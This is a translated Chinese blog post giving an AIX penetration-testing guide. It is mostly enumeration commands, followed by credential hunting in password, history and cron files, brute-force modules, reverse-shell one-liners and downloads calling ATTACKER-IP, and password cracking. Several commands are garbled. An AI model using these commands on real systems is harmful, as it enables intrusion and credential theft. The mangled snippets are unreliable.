对AIX系统的渗透测试

背景:

在最近的内部维护中,我设法在我的一个服务器上获得了一个非特权的shell。这是一个关键的服务器

我总是通过运行“ uname -a ”命令来开始枚举,以获取一些基本的系统信息; 有趣的是,这一次,我不知道有些输出是什么意思。

这是我第一次遇到AIX上的特权提升,我很惊讶的是在学习AIX系统时发现的相关信息很少。通过网上的一篇帖子,我看到有提到用户密码哈希文件存储的位置(/ etc / security / passwd),因为它与常规位置(/ etc / shadow)不同。但是,在我运行了一段时间命令,不停地失败,我很快就意识到密码存储位置不是AIX和其他Unix系统之间的唯一区别。

我花了一点时间通过各种AIX系统管理指南和命令手册(位于帖子底部的链接),并将各种后期利用技术的列表放在一起。我决定在这个博客发贴,希望有一天可以帮助另一位还不知道这方面知识的人。

AIX:

AIX(Advanced Interactive eXecutive )是由IBM为其多个计算机平台开发和销售的一系列专有的Unix操作系统。AIX是一个企业级的操作系统,所以它大多面向于像银行,政府,保险公司,电站和大学等大型组织。

AIX的默认shell是Bourne shell(/ bin / sh),直到AIX版本3,但更改为Korn shell(/ bin / ksh)。最新版本的AIX 在写下这篇文章的时候 是AIX 7.2。

我知道大多数基本的Unix命令都可以在AIX系统上运行;帮助,目录列表,进程列表,文件操作,搜索和grepping等等。你不必从头开始重新学习Unix管理。但是,如果要充分了解AIX服务器,则可能需要学习一些技巧。

AIX系统功能列举:

网络上已经有很多伟大的Linux后期开发指南(帖子底部的链接),其中许多列举出来的技术在AIX上都可以使用。所以我尽量不重复造轮子,基本的/熟悉的命令将会有一些重复,但我会尽力把它保持在最低限度。

我喜欢将我的系统列举为7个常规部分,所以这是这个帖子的主要部分:

  1. 系统信息
  2. 用户和用户组
  3. 驱动和Shares
  4. 网络信息
  5. 进程信息
  6. 软件/软件包
  7. 配置和其他

系统信息:

命令 目的 注释
prtconf 打印系统配置。 这将为您提供有关系统的大量信息; 架构,处理器和内存信息,网络信息,存储信息等。这可能是您应该在AIX系统上运行的第一个命令,因为它将为您提供有关服务器的大量有用信息。
uname -a 打印操作系统名称,主机名,操作系统版本号,操作系统版本和机器ID。
uname -x 打印“-a”标志指定的信息,以及“-l”标志指定的局域网网络号。
uname -M 打印系统模型。
uname -u 显示系统ID /序列号。
oslevel -s 打印AIX版本信息。 输出示例:6100-07-05-1228 前四位数字是主要版本,例如AIX 6.1 。接下来的两位数字表示TL(技术级别),例如TL07 第三组数字是SP(Service Pack),例如SP05 最终这个版本的(美国格式)日期是四位数字,例如12月28日
lscfg -p 打印所有已安装资源的列表。
lsdev -C | sort -d 打印连接到服务器的所有硬件的列表。
lssrc -a 打印服务器上所有系统资源的列表。

2.用户和组:

命令 目的 注释
ID 打印当前用户的详细信息和组信息。
who -a / w / last -a 打印有关登录用户的信息。
cat / etc / passwd 打印所有用户的列表。
lsuser ALL 打印所有用户及其属性的列表。
cat / etc / group 打印所有组的列表。
lsgroup ALL 打印所有组及其属性(包括成员)的列表。
cat / etc / security / passwd 打印所有用户密码哈希表(需要root)。 AIX密码哈希不是以其他Unix系统类似的格式存储。

AIX用户管理:

如果您访问具有用户管理权限的帐户,则本节可能会派上用场:

Unix命令 AIX命令 目的
useradd mkuser 创建一个用户
usermod chuser 修改用户
userdel rmuser 删除用户
lsuser ALL chsh or passwd -s 更改用户的shell。
passwd -l chuser login = false 锁定用户的帐户。

驱动与shares:

命令 目的 注释
lspv 打印服务器上的磁盘列表。 示例输出:hdisk1 004ce4cf0ff6d5c6 rootvg active hdisk2 00c9b8fa3120beb9 datavg active 在此示例中,系统具有2个物理磁盘,并分配给2个卷组(rootvg和datavg)。每个AIX系统都有一个“rootvg”,因为这是安装AIX并从系统引导的地方。
lspv hdisk0 打印有关指定硬盘的信息
lsvg 打印所有卷组的列表。 VG(卷组)是一个本地磁盘,可以由一个或多个磁盘或LUN组成(逻辑单元号)。VGs允许文件分散在多个磁盘(也称物理卷或PV)中。
lsvg -l rootvg 打印有关指定卷组的信息。
mount 打印有关的文件系统的信息。
df -k / df -h 打印安装的文件系统信息; 磁盘使用情况,安装位置等
lsps -a 打印分页空间信息。
lslpp -L | grep nfs 验证NFS是否已安装。
lssrc -g nfs | grep active 检查NFS / NIS状态。
cat / etc / xtab 检查它是否是一个NFS服务器以及导出哪些目录。
showmount 显示导出NFS目录的主机。
showmount -e 显示导出的目录。

4.网络信息:

命令 目的 注释
ifconfig -a 打印有关服务器网络接口的信息。
lsdev -Cc if 打印有关服务器网络接口的硬件信息。
netstat -i 打印所有网络接口的表格。
netstat -nr 打印服务器的路由信息。
arp -a 打印服务器的arp表。
namerslv -Is 打印服务器可以访问的服务器所有名称的列表。
hostent-S 打印服务器上所有主机条目的列表。
grep 80 / etc / services 打印指定运行服务的信息。

5.流程信息:

命令 目的 注释
ps aux 打印运行的进程信息。
lsof -nPi 打印运行的进程信息,包括网络连接。
who -p / var / adm / wtmp 打印登录到服务器的用户进程。

6.软件/软件包:

命令 目的 注释
echo $ PATH 打印当前用户的路径/环境。
whereis’program’ 在服务器上找到指定的程序。
which ‘program’ 在服务器上找到指定的程序(只搜索当前用户的路径/环境)。
lslpp -L 打印服务器软件清单的列表。
lslpp -h 打印服务器的软件历史列表。
lslpp -L | grep’program’ 搜索特定程序的服务器软件清单。
rpm -qa 打印所有安装的rpm包的列表。
rpm -qa | grep’package’ 在所有安装的rpm包中搜索特定程序。
ls -l / usr / bin / usr / bin目录列表。

7.配置和其他:

在介绍本节之前,我将提到,枚举每个服务器的配置没有写的太详细,因为这是完全动态的,并且将根据环境和相应系统的目的而有所不同。这篇文章底部的后开发指南有一大堆技术,将在此阶段帮助您。也就是说,我将总结一些可能派上用场的一般策略。

目标 战略 示例命令
配置文件 像大多数Unix系统一样,AIX有一个’/ etc’目录,你可能会找到很多配置文件,所以请你花点时间。搜索个人用户的主目录以获取配置目录/文件,例如’.ssh’文件夹。还可以搜索其他/第三方软件目录和文件。AIX通常用于敏感应用程序,如核心银行系统,您可能会幸运地找到像这些文件中的硬编码数据库密码这样的好东西。 ls -l / etc ls -lR / etc / | grep“conf” ls -lR / path / to / athere / | grep“config”
用户活动 告诉我你的shell history,我会告诉你你是谁。用户的输入历史可以经常显示许多敏感信息。我经常遇到管理员的回显密码,以避免在交互式提示中输入密码。搜索服务器管理员编写的脚本的主文件夹和其他目录,这些脚本有时可能藏有很多信息。 cat /home/USER/.sh_history cat /home/USER/.vi_history cat /home/USER/.profile grep ^ sh /home/*/.hist grep ^ ssh /home//.hist* grep ^ telnet /home//.hist* ls -lR / path / to / athere / | grep“\ .sh”
Cronjobs Cron允许管理员安排定时任务,定期维护轻松。cron jobs中指定的Customs脚本通常可能包含敏感信息,如密码。 crontab -l cat / var / spool / cron / crontabs cat / var / adm / cron / log cat /var/adm/cron/cron.deny cat /var/adm/cron/cron.allow
日志 日志文件可能偶尔包含敏感信息。AIX有各种目录,您应该搜索可能敏感的日志文件。您还可以使用’alog’实用程序查看特定的日志。AIX还附带了“errpt”实用程序,您可以使用它来从错误日志中的条目生成错误报告。您可以在这里阅读更多关于它的用法。 ls / var / log / ls / var / adm cat / var / log / messages cat / var / adm / messages cat / var / adm / ras / errlog alog -L #List all available logs alog -o -t LOG #Views a specific log eg to view the boot log;
归档文件 归档文件通常用于备份数据,您可能会遇到包含敏感信息(例如应用程序密码,配置文件,ssh密钥和数据库)的归档文件。使用find来发现存档文件(例如.tar,.gz,.a)具有“.a”扩展名的AIX库是’ar’压缩文件。ar是归档文件的压缩实用程序。该工具默认安装在AIX上。 ls -lR / path / to / somewhere / | grep“\ .tar” ls -lR / path / to / somewhere /’| grep“\ .gz” ls -lR / path / to / somewhere / | grep“\ .a”
“有趣”文件 。“find”命令在AIX上起作用,所以这里的选项是无限的。一些一般策略:查看所有SUID / SGID / SETUID / SETGID文件。搜索和grep文件有趣的字符串例如密码。搜索’/ tmp’目录。 find / -user root -perm -4000 -print 2> / dev / null find / -perm -1000 -print 2> / dev / null find / -perm -2000 -print 2> / dev / null find / 3000 -print 2> / dev / null grep -rnw / path / to / athere / -e“password” ls -la / tmp

Extra:

这部分是一个事后的想法,但我决定写出它。它基本上是涉及默认AIX软件包/服务的几个技术 ,您可能会发现在渗透测试的各个阶段都很有用。

Exploitation – getting your initial foothold:

可用的攻击向量将取决于服务器的配置和运行的服务。您可能会发现以下列出的服务在AIX服务器上运行。

端口 服务 攻击向量
21 FTP Brute force. Metasploit module:auxiliary/scanner/ftp/ftp_login
22 SSH Brute force.Metasploit module:auxiliary/scanner/ssh/ssh_login
23 Telnet Brute force. Metasploit module:auxiliary/scanner/telnet/telnet_login
512 rexec Brute force. Metasploit module:auxiliary/scanner/rservices/rexec_login
513 rlogin Brute force. Metasploit module:auxiliary/scanner/rservices/rlogin_login
80,443和无数其他人; 这将取决于服务器上安装的其他软件。 Web 弱口令,爆破,文件上传 (WAR, jsp) 等

反向shell:

所以你有命令执行权限,想要升级并得到一个反向shell?设置一个监听器并尝试下面的几个命令。

软件包 命令
Perl /usr/bin/perl -e ‘use Socket;p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};
Telnet telnet ATTACKER-IP 80 | /bin/sh | LOCAL-IP 44445
Telnet telnet ATTACKING-IP 80 | /bin/sh | telnet ATTACKING-IP 443

TTY shells:

通常情况下,您可能会发现自己处于受限的非tty shell中,从而在与服务器交互时限制您的选项。这里有一些tty shell可以试试。

软件包 命令
/ bin / sh / bin / sh -i
Perl perl -e’exec“/ bin / sh”;’
Perl perl:exec“/ bin / sh”;

文件下载:

在您的后期利用过程中的某个时间点,您可能会想要将一个特权升级漏洞利用的文件下载到服务器上。默认的AIX安装缺少许多您可能在其他Unix系统上遇到的基本实用程序。我所在的服务器没有安装wget,curl或nc。管理员可能会将其中的一些作为附加实用程序进行安装,但假设您在服务器中没有找到用于远程下载的文件,虽然这样做更为安全。

幸运的是,在AIX上安装了一些可以帮助您进行文件下载的默认程序。

软件包 命令
FTP ftp ATTACKER-IP
SCP scp ATTACKER-USER @ ATTACKER-IP:/ path / to / remote / FILE / path / to / local / FILE
Telnet (echo ‘GET /FILE’; echo “”; sleep 1; ) | telnet ATTACKER-IP 80 > FILE’
Perl echo’#!/ usr / bin / perl’> downloader.pl && echo’use LWP :: Simple; getstore(“http:// ATTACKER-IP:80 / FILE”,“FILE”);’ >> downloader.pl && perl downloader.pl
Perl lwp-download http://ATTACKER-IP/FILE

5.特权提升:

IBM对AIX的安全感到骄傲,也有骄傲的理由; 他们的产品没有太多的的利用工具。好消息是,Offensive Security的漏洞利用数据库有许多AIX版本的特权升级漏洞,您可能会发现这些利用工具是有用的。

searchsploit_AIX_privesc

 

6.破解AIX密码:

AIX的用户密码哈希存储在’/etc/security/passwd’文件中。我之前提到这些哈希不是以与其他Unix系统相似的格式存储。Hashcat确实支持AIX系统使用的各种散列机制,您可以在这里找到一些示例哈希(搜索AIX)。

我还发现了一个Metasploit的模块,使用John the Ripper来识别从AIX系统获得的弱密码,但我还没有尝试过这一点呢。当我这样做时,我一定会更新这篇文章。auxiliary/analyze/jtr_aix

概要

就像我刚开始说的一样,我写了这篇文章,因为当我开始使用AIX开发时,我正在拼命寻找类似的文章。这不是AIX / Unix枚举的综合指南,但是幸运的是,未来可能会为另一个绝望的互联网从业者提供帮助。即使它只帮助一个人,那么它也就达到目的了。

参考文献:

Linux后期利用:

2. AIX Sysadmin指南和手册:

3.攻击AIX:

4. 保护AIX

 

*来源:theviviMottoIN小编编译发布,转载请注明来自MottoIN

原创文章,作者:Jarry,如若转载,请注明出处:http://www.mottoin.com/article/terminal/99144.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code